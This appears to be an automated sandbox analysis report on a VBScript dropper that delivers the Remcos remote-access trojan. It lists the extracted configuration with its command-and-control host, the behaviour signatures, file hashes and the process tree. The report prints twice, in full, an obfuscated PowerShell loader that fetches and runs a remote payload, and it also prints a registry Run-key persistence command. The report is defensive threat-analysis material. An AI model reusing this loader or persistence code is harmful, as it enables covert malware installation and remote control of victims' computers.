Analysis
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max time kernel
148s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
14-10-2024 14:34
Static task
static1
Behavioral task
behavioral1
Sample
Beschwerde-Rudolp.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Beschwerde-Rudolp.vbs
Resource
win10v2004-20241007-en
General
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Target
Beschwerde-Rudolp.vbs
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Size
11KB
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MD5
cc0e7dfe16fd08c66618813f953bb879
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SHA1
937e890a06805c035807b202c3e403b222f11427
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SHA256
6ec4d17c4b6ed9a5f6095cf7ea6996fb1b2413b56868ef2841864c526bcaf8ef
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SHA512
34d2cb946a4f6dae0cd5b93a990bb13638959c304eb79d5ab442bd86692349d021c4cf225b0be321f63892d51023beb6097ff18f5280e0d28d95c4c1ada53058
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SSDEEP
192:i3ICKmusCg05C6FLf7ifqMtgQoVcoNorNAJUgZ4n8:vEQ7ifqMzo0OW8
Malware Config
Extracted
remcos
PeeWe8646
www.autoshausamsachsenwald.de:6698
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Weepee83472-FSSJ2L
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 38 IoCs
flow pid Process 2 3828 powershell.exe 22 3812 powershell.exe 23 3812 powershell.exe 26 3812 powershell.exe 39 3812 powershell.exe 41 3812 powershell.exe 42 3812 powershell.exe 43 3812 powershell.exe 44 3812 powershell.exe 45 3812 powershell.exe 46 3812 powershell.exe 53 3812 powershell.exe 54 3812 powershell.exe 55 3812 powershell.exe 56 3812 powershell.exe 57 3812 powershell.exe 58 3812 powershell.exe 59 3812 powershell.exe 60 3812 powershell.exe 61 3812 powershell.exe 66 3812 powershell.exe 77 3812 powershell.exe 78 3812 powershell.exe 79 3812 powershell.exe 80 3812 powershell.exe 81 3812 powershell.exe 82 3812 powershell.exe 83 3812 powershell.exe 84 3812 powershell.exe 85 3812 powershell.exe 86 3812 powershell.exe 87 3812 powershell.exe 88 3812 powershell.exe 89 3812 powershell.exe 90 3812 powershell.exe 91 3812 powershell.exe 92 3812 powershell.exe 93 3812 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Zanjero = "%Kuls110% -windowstyle 1 $Baghuse=(gp -Path 'HKCU:\\Software\\Datafirmas\\').blokhvl;%Kuls110% ($Baghuse)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3812 powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3812 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1228 reg.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3828 powershell.exe 3828 powershell.exe 3812 powershell.exe 3812 powershell.exe 3812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3828 powershell.exe Token: SeDebugPrivilege 3812 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1544 wrote to memory of 3828 1544 WScript.exe 83 PID 1544 wrote to memory of 3828 1544 WScript.exe 83 PID 3812 wrote to memory of 4676 3812 powershell.exe 92 PID 3812 wrote to memory of 4676 3812 powershell.exe 92 PID 3812 wrote to memory of 4676 3812 powershell.exe 92 PID 4676 wrote to memory of 1228 4676 cmd.exe 94 PID 4676 wrote to memory of 1228 4676 cmd.exe 94 PID 4676 wrote to memory of 1228 4676 cmd.exe 94
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Beschwerde-Rudolp.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sygehuse Rappenskralder Sandwichs Gliridae tonsillitis Bolsjevikkens Spejlmonogrammers #>;$Gasradiatorernes='Lighedens';<#Legitimationers Ink Pedalian Bonzery nonnative Forjoges Allods #>;$Athwarthawse=$host.PrivateData;If ($Athwarthawse) {$Likableness++;}function henaandende($Doohinkus){$Tabira=$Lommeregnere+$Doohinkus.Length-$Likableness;for( $relativpronominernes=2;$relativpronominernes -lt $Tabira;$relativpronominernes+=3){$Toolsheds='Absenteres';$Bide+=$Doohinkus[$relativpronominernes];}$Bide;}function Webbank($Disintegrator91){ & ($Kilovar) ($Disintegrator91);}$Wrinklet=henaandende 'diM otrzIni lFalPaaGi/Ju5D .P,0 F Ku( aW Ni,enW d roSuwTrsRn P,N,pT e i1 g0Ko.Tr0Pe;Si ,pWUniH nVa6L,4Ru;Tr S.xGa6Br4,t;Re MorAnv.a:Zo1Or2Pr1Va.Py0 B).t BiGSueU c .kR o,a/Fo2 k0 l1 S0Pa0Ve1Es0 a1 m SuFOniS,rlgeRnfReoPhxDo/R 1Sy2Lu1Fa.D,0ma ';$Underhandle=henaandende ' ,uUnSM EStRN -.laFlGVee LN oT , ';$undercrossing=henaandende 'OshAft StKlp,esF :S /re/Liw DwSuwFy. MaC,uThtfooH h daSpu RsOz-O c Fn F. RdJeeLe/B oanlSed o/ RmR oU,bsaiGelTieBl/PrB eaKanS a.auI s TiUnc I.TiqBaxCodBg ';$Blindtablets122=henaandende 'Ur>U ';$Kilovar=henaandende 'GlI BeJeXP ';$Amtsborgmester='asyl';$Kimm='\prefectorial.Twa';Webbank (henaandende 'Co$Ceg el.uoAkbMua l :HeTAniMad TsXsiI nF dEdsWatFri elP.lTee urNe=A $une anKiv P:ScaJup LpcadPraEntUraAn+H $RaKOciRam mmU. ');Webbank (henaandende ' a$U g rl Wo,abZoaLylS :BeTCoeP,kTesRatBikHerPri FtVdi,nk i=Ob$Meu nDedLaeSlrGlc ,r ,op,sAusUni TnExgIm. WsStp Pl TiCotl (Vo$MaBTilDiiHyn,rdLat.ma .b fl leFit.asDi1Ba2Be2 I).n ');Webbank (henaandende '.a[MiNLoeF.t G.KaSineTerLavKei ,cS eOvPS,o .iNon tn M iaAnn uaDogSte Arty]va: G:P SO eTocPruanrHui Jt .yFoP Dr o PtKio IcUnoFolTo .= P Dy[ sNEreCotUn.KoS Ee ycsputrr TiKntDoyF PTerL oRotAuoSkcH oImlKoTDey epPreSa] S: .:SaTMalR s v1 a2 . ');$undercrossing=$Tekstkritik[0];$relativpronominernesnterlaces=(henaandende ' ,$MiGPaL uo,fBI A .l A:krTFrRNekIsKUnr eOnogSkEMyn Ce a=VinPueSiwAf- OO RB ojR eUlC,atLo toS .YemS RT E M ,. GnSte At .. qw oEPab ncixL BIFeEInnBhT r ');Webbank ($relativpronominernesnterlaces);Webbank (henaandende 'R,$UnTBrr vkOrkK.rNeoCogVie ,n AeSk. lHCae Da rdH eSar sFl[Tr$noUDrnM d eW r hhTraDon adSolHieH ] e=la$KaWF,r yi dn,hkFalV.eSatT. ');$Affaldspriserne=henaandende ' $SaTShr .kudkSpr oVeg,eeSen oe n.M DBro Sws,nPal toCoa.nd.rFHeiCal ae S(Da$JuuU nTad,oe lr CcGer Do s ssOpiKonDegpi,Af$.fP,ueFonW n .aIdt.ii Us Ue Bc ,t eLsdMi)G ';$Pennatisected=$Tidsindstiller;Webbank (henaandende ' ,$V,gChLO.O SbM,a l m:DitDoRAtaSlA dB,rVoEKoN.eSDiEViR Es o=An( GT AeMeSK.TOr- p AVaTThH o De$FoPHae jnO NSpa,iTS iDaSPeEM.c PtTieTaDSe)Re ');while (!$Traadrensers) {Webbank (henaandende 'Ka$ungMilSoo bP,a.klUn:PeSMejSplOvls.n MdFae nrR,eBesC.=,a$ ht KrEjuU.eOp ') ;Webbank $Affaldspriserne;Webbank (henaandende ' ,S .t.ka Or OtL.-GeSKal.eeApeCopRe Ko4 A ');Webbank (henaandende ' $FlgU lDroTrbI ac l :WiTTrr TaS aMudgirAveStnSpsSleByrMisWi= e( KT,ee os.pt n-BaP haC tVuhUs Fr$ P ge rnScn,oa Ct aiBesIveBec Pt SeStdPa)Bi ') ;Webbank (henaandende 'B $ ugPrlFioS b PaGrlAn:LeDSkeTen.us uiE tKro Fm ee FtSlrG.iMisGakK e =Un$Peg,al noInb OaPalr :FiD UeAkpS.t Ch,eiPrnRegUd+Su+ n%Ma$ iTveePikO sBat GkSyrF i.rt diAnk l. ScJuo AudinDut.e ') ;$undercrossing=$Tekstkritik[$Densitometriske];}$Forsire=308882;$Barrikaderes=29015;Webbank (henaandende ' $Brg ,lMioAkbElaDelRe: BSIntFinRhgSpeU.tN s.i E.=Bf XaGInetrtPh-KaC aoShnIntT e anBat,g Sp$ RPKeeAknManStaSkt.eistsUde ,cSltTre Nd.n ');Webbank (henaandende 'Ch$N g FlKaoSkbFla,alUf:StB.ir .u vtL.tDooGrtC,rSikD.kngoPhrSnt feL.nSae e r=Co Fo[KaSC.y msSotKjeJem.o. aCSuoR.nBrvSmeBerJut E]He: E:SaFInrS o om oBF.aFosW eW.6F 4InS tUnrJei lnAkgVo( M$ScSGetHonW gFaeL.t ,sEr)Ji ');Webbank (henaandende ' .$T gSplOvoB b OaBalk : oS RmluiFitMih AiKanKngBe .i=Un To[SpSHuyA sTot teU,m T.S TKoe axSytHy.daE lnTucC.oNud,ai Fn sgMa]Co:Fo:StA rSTrC DITaIni.TeGCoeOrtAnS etirrM i InS g W(Pr$.pBOpr vuMutSitInoydt rOukKykg,oc,r Ctpae.enFieKu)Af ');Webbank (henaandende 'Pe$ChgGrlTioTabU aB lP :FaFCalKnlDeeVesAft TiMulFol iTodAlsExmbanCodF =Jr$P,SCemHeiAntBeh IiSan ,gTw.Sts muB.bKesR,tSur,iiVin ,g S(R $,pF oH.r is i rOieF,, .$ UB EaIor SrBli kB aUndRae FrM e Rs )F, ');Webbank $Fllestillidsmnd;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3828
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Sygehuse Rappenskralder Sandwichs Gliridae tonsillitis Bolsjevikkens Spejlmonogrammers #>;$Gasradiatorernes='Lighedens';<#Legitimationers Ink Pedalian Bonzery nonnative Forjoges Allods #>;$Athwarthawse=$host.PrivateData;If ($Athwarthawse) {$Likableness++;}function henaandende($Doohinkus){$Tabira=$Lommeregnere+$Doohinkus.Length-$Likableness;for( $relativpronominernes=2;$relativpronominernes -lt $Tabira;$relativpronominernes+=3){$Toolsheds='Absenteres';$Bide+=$Doohinkus[$relativpronominernes];}$Bide;}function Webbank($Disintegrator91){ & ($Kilovar) ($Disintegrator91);}$Wrinklet=henaandende 'diM otrzIni lFalPaaGi/Ju5D .P,0 F Ku( aW Ni,enW d roSuwTrsRn P,N,pT e i1 g0Ko.Tr0Pe;Si ,pWUniH nVa6L,4Ru;Tr S.xGa6Br4,t;Re MorAnv.a:Zo1Or2Pr1Va.Py0 B).t BiGSueU c .kR o,a/Fo2 k0 l1 S0Pa0Ve1Es0 a1 m SuFOniS,rlgeRnfReoPhxDo/R 1Sy2Lu1Fa.D,0ma ';$Underhandle=henaandende ' ,uUnSM EStRN -.laFlGVee LN oT , ';$undercrossing=henaandende 'OshAft StKlp,esF :S /re/Liw DwSuwFy. MaC,uThtfooH h daSpu RsOz-O c Fn F. RdJeeLe/B oanlSed o/ RmR oU,bsaiGelTieBl/PrB eaKanS a.auI s TiUnc I.TiqBaxCodBg ';$Blindtablets122=henaandende 'Ur>U ';$Kilovar=henaandende 'GlI BeJeXP ';$Amtsborgmester='asyl';$Kimm='\prefectorial.Twa';Webbank (henaandende 'Co$Ceg el.uoAkbMua l :HeTAniMad TsXsiI nF dEdsWatFri elP.lTee urNe=A $une anKiv P:ScaJup LpcadPraEntUraAn+H $RaKOciRam mmU. ');Webbank (henaandende ' a$U g rl Wo,abZoaLylS :BeTCoeP,kTesRatBikHerPri FtVdi,nk i=Ob$Meu nDedLaeSlrGlc ,r ,op,sAusUni TnExgIm. WsStp Pl TiCotl (Vo$MaBTilDiiHyn,rdLat.ma .b fl leFit.asDi1Ba2Be2 I).n ');Webbank (henaandende '.a[MiNLoeF.t G.KaSineTerLavKei ,cS eOvPS,o .iNon tn M iaAnn uaDogSte Arty]va: G:P SO eTocPruanrHui Jt .yFoP Dr o PtKio IcUnoFolTo .= P Dy[ sNEreCotUn.KoS Ee ycsputrr TiKntDoyF PTerL oRotAuoSkcH oImlKoTDey epPreSa] S: .:SaTMalR s v1 a2 . ');$undercrossing=$Tekstkritik[0];$relativpronominernesnterlaces=(henaandende ' ,$MiGPaL uo,fBI A .l A:krTFrRNekIsKUnr eOnogSkEMyn Ce a=VinPueSiwAf- OO RB ojR eUlC,atLo toS .YemS RT E M ,. GnSte At .. qw oEPab ncixL BIFeEInnBhT r ');Webbank ($relativpronominernesnterlaces);Webbank (henaandende 'R,$UnTBrr vkOrkK.rNeoCogVie ,n AeSk. lHCae Da rdH eSar sFl[Tr$noUDrnM d eW r hhTraDon adSolHieH ] e=la$KaWF,r yi dn,hkFalV.eSatT. ');$Affaldspriserne=henaandende ' $SaTShr .kudkSpr oVeg,eeSen oe n.M DBro Sws,nPal toCoa.nd.rFHeiCal ae S(Da$JuuU nTad,oe lr CcGer Do s ssOpiKonDegpi,Af$.fP,ueFonW n .aIdt.ii Us Ue Bc ,t eLsdMi)G ';$Pennatisected=$Tidsindstiller;Webbank (henaandende ' ,$V,gChLO.O SbM,a l m:DitDoRAtaSlA dB,rVoEKoN.eSDiEViR Es o=An( GT AeMeSK.TOr- p AVaTThH o De$FoPHae jnO NSpa,iTS iDaSPeEM.c PtTieTaDSe)Re ');while (!$Traadrensers) {Webbank (henaandende 'Ka$ungMilSoo bP,a.klUn:PeSMejSplOvls.n MdFae nrR,eBesC.=,a$ ht KrEjuU.eOp ') ;Webbank $Affaldspriserne;Webbank (henaandende ' ,S .t.ka Or OtL.-GeSKal.eeApeCopRe Ko4 A ');Webbank (henaandende ' $FlgU lDroTrbI ac l :WiTTrr TaS aMudgirAveStnSpsSleByrMisWi= e( KT,ee os.pt n-BaP haC tVuhUs Fr$ P ge rnScn,oa Ct aiBesIveBec Pt SeStdPa)Bi ') ;Webbank (henaandende 'B $ ugPrlFioS b PaGrlAn:LeDSkeTen.us uiE tKro Fm ee FtSlrG.iMisGakK e =Un$Peg,al noInb OaPalr :FiD UeAkpS.t Ch,eiPrnRegUd+Su+ n%Ma$ iTveePikO sBat GkSyrF i.rt diAnk l. ScJuo AudinDut.e ') ;$undercrossing=$Tekstkritik[$Densitometriske];}$Forsire=308882;$Barrikaderes=29015;Webbank (henaandende ' $Brg ,lMioAkbElaDelRe: BSIntFinRhgSpeU.tN s.i E.=Bf XaGInetrtPh-KaC aoShnIntT e anBat,g Sp$ RPKeeAknManStaSkt.eistsUde ,cSltTre Nd.n ');Webbank (henaandende 'Ch$N g FlKaoSkbFla,alUf:StB.ir .u vtL.tDooGrtC,rSikD.kngoPhrSnt feL.nSae e r=Co Fo[KaSC.y msSotKjeJem.o. aCSuoR.nBrvSmeBerJut E]He: E:SaFInrS o om oBF.aFosW eW.6F 4InS tUnrJei lnAkgVo( M$ScSGetHonW gFaeL.t ,sEr)Ji ');Webbank (henaandende ' .$T gSplOvoB b OaBalk : oS RmluiFitMih AiKanKngBe .i=Un To[SpSHuyA sTot teU,m T.S TKoe axSytHy.daE lnTucC.oNud,ai Fn sgMa]Co:Fo:StA rSTrC DITaIni.TeGCoeOrtAnS etirrM i InS g W(Pr$.pBOpr vuMutSitInoydt rOukKykg,oc,r Ctpae.enFieKu)Af ');Webbank (henaandende 'Pe$ChgGrlTioTabU aB lP :FaFCalKnlDeeVesAft TiMulFol iTodAlsExmbanCodF =Jr$P,SCemHeiAntBeh IiSan ,gTw.Sts muB.bKesR,tSur,iiVin ,g S(R $,pF oH.r is i rOieF,, .$ UB EaIor SrBli kB aUndRae FrM e Rs )F, ');Webbank $Fllestillidsmnd;"1⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Zanjero" /t REG_EXPAND_SZ /d "%Kuls110% -windowstyle 1 $Baghuse=(gp -Path 'HKCU:\Software\Datafirmas\').blokhvl;%Kuls110% ($Baghuse)"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Zanjero" /t REG_EXPAND_SZ /d "%Kuls110% -windowstyle 1 $Baghuse=(gp -Path 'HKCU:\Software\Datafirmas\').blokhvl;%Kuls110% ($Baghuse)"3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1228
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1KB
MD571444def27770d9071039d005d0323b7
SHA1cef8654e95495786ac9347494f4417819373427e
SHA2568438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9
SHA512a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
439KB
MD5877ad64824efe0b9c09cf1b5ec61df62
SHA195fcbcc088e47bce6afae1458f5eec768eb87740
SHA2566622db47173128823c886ab3db72b7bf99df9e4f5cf2c6d85e17da4177892622
SHA512206af51df2505e4d4e126c8c6f62a457f0d7c083da45c16ef73fc4088b311d70f5f8abbe29259f5d36e0328f5574c149aa882366f0dcc54d5e56d3b4a08e61f0